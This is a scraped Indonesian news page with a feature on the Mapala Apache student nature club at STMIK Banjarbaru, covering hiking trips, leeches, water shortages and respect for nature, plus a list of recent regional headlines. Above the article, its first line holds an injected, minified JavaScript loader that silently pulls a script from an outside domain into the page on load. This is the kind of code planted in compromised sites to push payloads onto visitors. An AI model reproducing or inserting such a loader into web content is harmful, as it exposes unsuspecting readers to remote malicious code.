(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Menggembleng Diri sebagai Mahasiswa Pecinta Alam


Demikian sepenggal lagu ‘Penjelajah Alam’ karya musisi Sawong Jabo. Jauh di lereng-lereng gunung, kedalaman hutan dan ngarai, betapa terasa kecil dan rapuh diri sebagai manusia. Maka di sanalah, para pecinta alam belajar menempa diri, mengembleng, untuk bisa hidup selaras dengan nafas kehidupan.

Banyak hal, banyak rasa, dan bermacam pengalaman didapat dengan bergabung dalam organisasi pecinta alam. Seperti pula dirasakan para anggota Mapala (Mahasiswa Pecinta Alam) Apache, STMIK Banjarbaru. Utamanya saat melakukan pendakian di sejumlah gunung atau lokasi lainnya.

Ketua Mapala Apache, STMIK Banjarbaru Septyan Dwi Soktana menceritakan, pernah dalam sebuah pendakian beberapa anggotanya terkena lintah. Binatang penghisap darah itu menempel di badan dan susah untuk dilepas. “Untungnya kita sudah antisipasi membawa tembakau dan garam. Itu media yang aman untuk melepas cengkraman gigitan lintah,” katanya.

Suasana dan hal mistis pun sering ditemui. Seperti pada saat pendakian di Halau-Halau, Barabai, beberapa waktu lalu. Tapi untungnya kata Asep, demikian Septian Dwi Soktana dipanggil, pada saat itu tidak ada Mapala perempuan yang ikut. “Sehingga aman saja, tidak sampai ada yang kesurupan,” ujarnya.

Asep juga mengisahkan, pernah dalam suatu pendakian kehabisan logistik berupa air dan makanan. “Di Halau-Halau itu kemarin cuma ada 1 titik yang ada airnya, di Penyaungan bawah, harus turun dulu 1 km melewati lereng. Jadi ada kawasan bebatuan, ada air yang menetes dari bebatuan itu, kami kumpulkan sedikit demi sedikit. Kami ditawarin air sama pendaki lainnya yang berpapasan dengan kami,” ungkapnya.

Di alam, anggota Mapala tidak terlalu repot atau pemilih. Kentang, wortel, kacang-kacangan merupakan beberapa jenis makanan mereka pilih sebagai bawaan, pasalnya jenis makanan ini tidak mudah busuk.

”Pernah juga kami hampir putus asa untuk menuju puncak. Beruntung, kami bertemu dengan beberapa warga setempat yang mendaki juga. Mereka tidak pakai alas kaki, tapi jalan mereka cepat banget, kami sampai kepayahan mengikutinya. Tapi alhamdulillah sampai juga di puncak,” pungkasnya.

Bagi Asep, Mapala adalah tempat untuk membangun kesadaran diri akan kondisi bumi yang sudah sangat tua ini. Belajar untuk menghormati dan menghargai alam, dengan menjaganya tetap lestari. “Jika tidak dijaga, kita sendiri nanti yang rugi,” katanya.

Selain itu, Mapala Apache, STMIK Banjarbaru juga sering turun langsung ketika ada kegiatan bakti sosial untuk menggalang dana bagi masyarakat yang kurang mampu, seperti anak-anak disabilitas dan lainnya.***

Berikut kegiatan yang dilakukan Mapala Apache, STMIK Banjarbaru untuk mendorong rasa cinta pada lingkungan.


Desy Arfianty

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

19 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

22 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

1 hari ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

1 hari ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.